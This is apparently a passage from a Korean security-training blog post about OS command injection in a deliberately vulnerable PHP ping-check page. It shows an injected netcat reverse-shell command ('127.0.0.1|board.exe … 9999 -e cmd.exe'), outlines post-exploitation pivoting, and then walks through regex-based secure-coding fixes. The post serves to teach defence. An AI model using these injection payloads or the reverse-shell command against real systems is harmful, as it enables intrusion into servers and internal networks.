&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daxbqt/btsLCKKMkzH/ZrCOR61VME4RyIjSD36rSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daxbqt/btsLCKKMkzH/ZrCOR61VME4RyIjSD36rSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daxbqt/btsLCKKMkzH/ZrCOR61VME4RyIjSD36rSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdaxbqt%2FbtsLCKKMkzH%2FZrCOR61VME4RyIjSD36rSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;370&quot; height=&quot;59&quot; data-origin-width=&quot;370&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 9999포트로 리스닝이 되어 있는 상태이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nc.exe [공격자 IP] [Port] -e [Shell]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows - cmd.exe&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Linux/Unix - /bin/sh 또는 /bin/bash&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1|board.exe 10.0.2.4 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qYcfs/btsLDogdXmG/KJVNE97a0QulBzMgjUbMjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qYcfs/btsLDogdXmG/KJVNE97a0QulBzMgjUbMjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qYcfs/btsLDogdXmG/KJVNE97a0QulBzMgjUbMjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqYcfs%2FbtsLDogdXmG%2FKJVNE97a0QulBzMgjUbMjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;355&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 실패한 것이 확인된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d3MHdX/btsLD0snk9L/ulYDqll89US9RQrTWTLsck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d3MHdX/btsLD0snk9L/ulYDqll89US9RQrTWTLsck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d3MHdX/btsLD0snk9L/ulYDqll89US9RQrTWTLsck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd3MHdX%2FbtsLD0snk9L%2FulYDqll89US9RQrTWTLsck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;643&quot; height=&quot;118&quot; data-origin-width=&quot;643&quot; data-origin-height=&quot;118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1 로 IP 변경 후 재시도한다. (현재 공격자는 VDI PC 그 자체이므로 127.0.0.1 이 가능)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;127.0.0.1|board.exe 127.0.0.1 9999 -e cmd.exe 를 입력하여 웹 서버에서 Reverse Shell 을 연결한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NoXMC/btsLCFbXo3A/XT1LxpVUNcNzXzaIcuXWdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NoXMC/btsLCFbXo3A/XT1LxpVUNcNzXzaIcuXWdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NoXMC/btsLCFbXo3A/XT1LxpVUNcNzXzaIcuXWdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNoXMC%2FbtsLCFbXo3A%2FXT1LxpVUNcNzXzaIcuXWdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;468&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 전송 이후 기존에 리스닝을 실행했던 CMD 창을 보니 연결에 성공한 것으로 확인된다. (공격자 입장)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 공격자 입장에서 실행했던 Shell 이 아닌, 웹 서버의 Shell 로 변경된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;C:\APM_Setup\htdocs &amp;rarr; C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pi8Zc/btsLByddRyi/j2pkj9yUOqzzDvJ2tH9XaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pi8Zc/btsLByddRyi/j2pkj9yUOqzzDvJ2tH9XaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pi8Zc/btsLByddRyi/j2pkj9yUOqzzDvJ2tH9XaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpi8Zc%2FbtsLByddRyi%2Fj2pkj9yUOqzzDvJ2tH9XaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;828&quot; height=&quot;126&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버의 Shell 을 탈취한 것으로 whoami 명령어를 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ipconfig 명령어도 입력하여 정상적으로 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버의 Shell 에서 명령어 입력이 가능한 것을 통해 Reverse Shell 이 연결된 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBPGwX/btsLDlw45sh/zskLFMkrjTfruTdSvxtH30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBPGwX/btsLDlw45sh/zskLFMkrjTfruTdSvxtH30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBPGwX/btsLDlw45sh/zskLFMkrjTfruTdSvxtH30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBPGwX%2FbtsLDlw45sh%2FzskLFMkrjTfruTdSvxtH30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;848&quot; height=&quot;375&quot; data-origin-width=&quot;848&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reverse Shell 이 연결되면 보통 원격 터미널 연결에 성공했다라고 많이 표현한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점 진단 보고서에는 ipconfig 명령어를 입력한 캡처가 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 원격 터미널 연결에 성공하게 되면 네트워크 정보를 먼저 수집한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 웹 서버와 신뢰 관계를 맺고 있는 다른 서버들의 IP를 수집한다. (DBMS, FTP 서버 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;arp, netstat 명령어들을 활용하며, hosts 파일을 열람하여 도메인 및 IP 정보를 수집한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 해당 웹 서버 내 중요정보를 하나하나씩 살펴본다. (DB 접속 정보 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버 내 정보 수집 이후 네트워크 스캔을 하여 다른 서버 정보 수집을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Reverse Shell 이 연결된 서버는 또 다른 서버를 탐색하기 위한 경유 서버가 되며, 수집한 정보를 바탕으로 내부 네트워크 침투를 진행하게 된다. 이후 제일 먼저 침투하게 되는 서버는 DBMS 로, 이때는 터널링을 활용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 네트워크 내에서도 웹 서비스를 찾아서 취약점을 찾고, 또 다시 다른 서버로 터널링을 하여 하나씩 침투하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방금은 curl 을 활용하여 진행하였는데, 만약 진단하는 Windows 서버 버전이 낮아서 curl 을 사용할 수 없게 되는 경우, 파일 업로드 공격을 활용하여 진행하는 것도 하나의 침투 방법이 될 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5) 대응 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 서버 사이드 스크립트로 기능 구현&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 사용자 입력 값 형식에 따른 정규 표현식 검증&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 악의적인 문자 검증(필터링, 로직 중지 후 경고창 띄움)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 기능 제거&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 사용자 입력 값 형식에 따른 정규 표현식 검증 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;765&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C3834/btsLDYg2g3K/ohBwErWhBSeVLGa8COCEo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C3834/btsLDYg2g3K/ohBwErWhBSeVLGa8COCEo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C3834/btsLDYg2g3K/ohBwErWhBSeVLGa8COCEo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC3834%2FbtsLDYg2g3K%2FohBwErWhBSeVLGa8COCEo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1232&quot; height=&quot;765&quot; data-origin-width=&quot;1232&quot; data-origin-height=&quot;765&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP 형식에 맞게 정규표현식을 사용(화이트리스트 방식)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1239&quot; data-origin-height=&quot;769&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/J3c49/btsLDv0IO9v/DA3JZOyWaDHVwBBGnxbWh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/J3c49/btsLDv0IO9v/DA3JZOyWaDHVwBBGnxbWh1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/J3c49/btsLDv0IO9v/DA3JZOyWaDHVwBBGnxbWh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJ3c49%2FbtsLDv0IO9v%2FDA3JZOyWaDHVwBBGnxbWh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1239&quot; height=&quot;769&quot; data-origin-width=&quot;1239&quot; data-origin-height=&quot;769&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;특정 포맷 활용이 불가능하다면, 사용하는 특정 문자만 허용 (화이트리스트 방식)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 악의적인 문자 검증 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1244&quot; data-origin-height=&quot;772&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/og8CD/btsLEjrK77z/pD7knLCxFKocIjeDut9uO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/og8CD/btsLEjrK77z/pD7knLCxFKocIjeDut9uO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/og8CD/btsLEjrK77z/pD7knLCxFKocIjeDut9uO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fog8CD%2FbtsLEjrK77z%2FpD7knLCxFKocIjeDut9uO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1244&quot; height=&quot;772&quot; data-origin-width=&quot;1244&quot; data-origin-height=&quot;772&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;| &amp;amp; \n ; `&lt;/b&gt; 등 문자열 검증, 해당 문자열 입력되면 로직 중지 후 에러 메시지 출력&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습3-3 취약 환경 시큐어 코딩 적용 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OS Command Injection이 발생되었던 Ping Check 페이지에 대해 시큐어 코딩을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 위치: C:\APM_Setup\htdocs\insecure_website&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; pingcheck.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735833116310&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  include_once(&quot;./common.php&quot;);
  $ip = $_POST[&quot;ip&quot;];
  $page = $_SERVER['REQUEST_URI'];

  if(!empty($ip)) {
	$result = shell_exec(&quot;ping {$ip}&quot;);
	$result = iconv(&quot;EUC-KR&quot;, &quot;UTF-8&quot;, $result);
	$result = str_replace(&quot;\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $result);
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP를 받아서 IP가 있는지 확인 후 시스템 명령어(ping)를 실행하는 로직이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시스템 명령어가 실행되기 전에 코드를 검증하는 것이 핵심이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;preg_match() &amp;rarr; 주어진 정규 표현식 패턴을 사용하여 문자열 내에서 일치(match)하는 부분을 찾는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;^ : 정규표현식 문자열 시작&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ : 정규표현식 문자열 끝&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[0-9] : 0~9 까지 (숫자 범위)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{1,3} : 1개 ~ 3개 까지 (숫자 개수)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;\. : IP 형식의 점&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;반드시 exit(); 를 사용하여 로직을 중지 시켜야한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로직을 중지시키지 않아 취약점이 발생할 수 있다. (설&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;계 오류 발생&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(ex: 관리자 페이지에 접근했는데 경고창은 출력되지만 웹 프록시 도구(버프스위트)로 확인해보니 해당 로직이 이미 진행이 다 된 상태로, 경고창 스크립트만 삭제 후 접근이 가능한 경우가 있다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; pingcheck.php 의 Action 페이지 시큐어 코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735834116525&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  include_once(&quot;./common.php&quot;);
  $ip = $_POST[&quot;ip&quot;];
  $page = $_SERVER['REQUEST_URI'];

  if(!empty($ip)) {
	if(!preg_match(&quot;/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/&quot;, $ip)) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 입력 값이 아닙니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
		exit();
	}

	$result = shell_exec(&quot;ping {$ip}&quot;);
	$result = iconv(&quot;EUC-KR&quot;, &quot;UTF-8&quot;, $result);
	$result = str_replace(&quot;\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, $result);
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 pingcheck 페이지에 접속하여 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 정상적인 입력값을 먼저 입력하여 동작 여부를 확인해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1 IP 입력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;793&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ch43q8/btsLBjgjmY1/6yP7wKvTOnNJvJ7w5RlzRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ch43q8/btsLBjgjmY1/6yP7wKvTOnNJvJ7w5RlzRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ch43q8/btsLBjgjmY1/6yP7wKvTOnNJvJ7w5RlzRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fch43q8%2FbtsLBjgjmY1%2F6yP7wKvTOnNJvJ7w5RlzRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;793&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;793&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;192.168.56.1|whoami 를 입력하니 아래와 같이 에러 메시지가 출력된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;260&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dc6WHE/btsLCEYqAMG/hylLdGi3UuIqq22Agk0gAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dc6WHE/btsLCEYqAMG/hylLdGi3UuIqq22Agk0gAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dc6WHE/btsLCEYqAMG/hylLdGi3UuIqq22Agk0gAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdc6WHE%2FbtsLCEYqAMG%2FhylLdGi3UuIqq22Agk0gAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;260&quot; data-origin-width=&quot;947&quot; data-origin-height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 외 IP 형식이 아닌 ! , ?, a 등의 문자열 입력 시 에러 메시지가 출력되는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 정규표현식을 통해서 해당 입력값에 허용된 포맷만 입력하도록 설정할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력 포맷이 정해져 있지 않은 경우에는 허용된 범위만 입력하도록 정규표현식을 구현하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(숫자, 문자, 일부 특수문자 허용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 허용 범위가 정확하지 않다면, 악의적인 문자를 검증하는 방법도 사용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
